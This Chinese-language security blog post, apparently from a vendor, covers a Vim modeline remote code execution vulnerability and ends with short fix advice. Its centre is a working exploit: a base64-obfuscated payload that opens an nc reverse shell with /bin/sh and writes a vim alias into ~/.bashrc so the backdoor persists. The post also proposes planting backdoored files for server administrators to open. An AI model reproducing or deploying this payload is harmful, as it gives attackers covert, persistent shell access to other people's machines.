Linux漏洞 VIM編輯器含有遠端代碼執行漏洞
linux系統一直以來都是比較安全的,不管是系統內核還是一些協力廠商軟體都沒有太大的漏洞,包括前幾年爆出的redis漏洞,沒有太多漏洞,然後最近linux頻頻爆出高危的漏洞,使用vim
文字編輯器很多年了,得知被爆出遠端代碼執行漏洞,有點不可思議,全國大多數的linux服務
器都使用的是vim,包括centos系統,redhat,關於該漏洞的詳情以及修復方案,我們ESAFE安全來
詳細的跟大家介紹一下:
![描述: https://www.sinesafe.com/uploads/allimg/190614/1-1Z614120241W0.jpg](/uploads/allimg/190622/2-1Z62201540c94.png)
Linux vim漏洞詳情
我們來看一下這個linux漏洞的利用條件,首先vim編輯器的版本是在8.0上下的,目前很多linux服
務器都是8.0左右的版本,大部分的linux伺服器受該漏洞的影響,再一個利用的條件是開啟mode
line選項,預設的vim配置是不自動開啟的,所以漏洞的產生是要開啟這個選項,很多低版本的
VIM都不會開啟,所以漏洞的影響範圍降低了。我們來複現這個VIM POC漏洞,在VIM的配置文
件裡開啟modeline,並保存。POC代碼如下:
![描述: https://www.sinesafe.com/uploads/allimg/190614/1-1Z614120352961.png](/uploads/allimg/190622/2-1Z62201542a19.png)
上面的漏洞是可以用來遠端執行的,反向代理到我們自己的IP,進行後門連接,上面代碼裡的十
六進制字元要轉化成二進位的表現形式,然後將反斜線的轉義字元刪除掉,可以將\n寫成回車鍵
,這樣就可以NC後門監聽到我們自己的電腦IP,建立起遠端反彈後門,對linux進行操作。
我們在實際漏洞測試當中還發現上面的POC代碼並不能持久化的建立後門連接,運行一次後,第
二次運行只能是普通文本的方式運行了,我們可以構造一下宏的木馬後門,每次運行vim命令都
執行我們設定好的木馬後門NC反彈位址,代碼如下:
[?7lSNothingqy:silent! w | call system('echo
"IG5vaHVwIG5jIDEyNy4wLjAuMSA5OTk5IC1lIC9iaW4vc2ggPi9kZXYvbnVsbCAyPiYxIC
YgZWNobyAiYWxpYXMgdmltPSd2aW0gLWMgXCJAeVwiJ1xuIHNob3B0IC1zIGV4cGF
uZF9hbGlhc2VzXG4iID4+IH4vLmJhc2hyYw=="|base64 -d | sh') | redraw! | file |
silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\
source\!\ \%') fdl=0: [1G[KNothing."[D
q
整個linux vim漏洞利用前提是要開啟這個modeline配置,很多伺服器預設是不開啟這個選項的,
不過有些伺服器的系統版本包括centos 6.0版本的都會開啟這個配置,有些伺服器運維人員可
能會下載設定檔,以及代碼,可以直接在代碼裡加入後門,讓他們VIM編輯的時候觸發漏洞,
總之只要打開了這個檔就會中招,關於該linux 漏洞的修復,建議將modeline關閉,並升級
VIM到最新版本。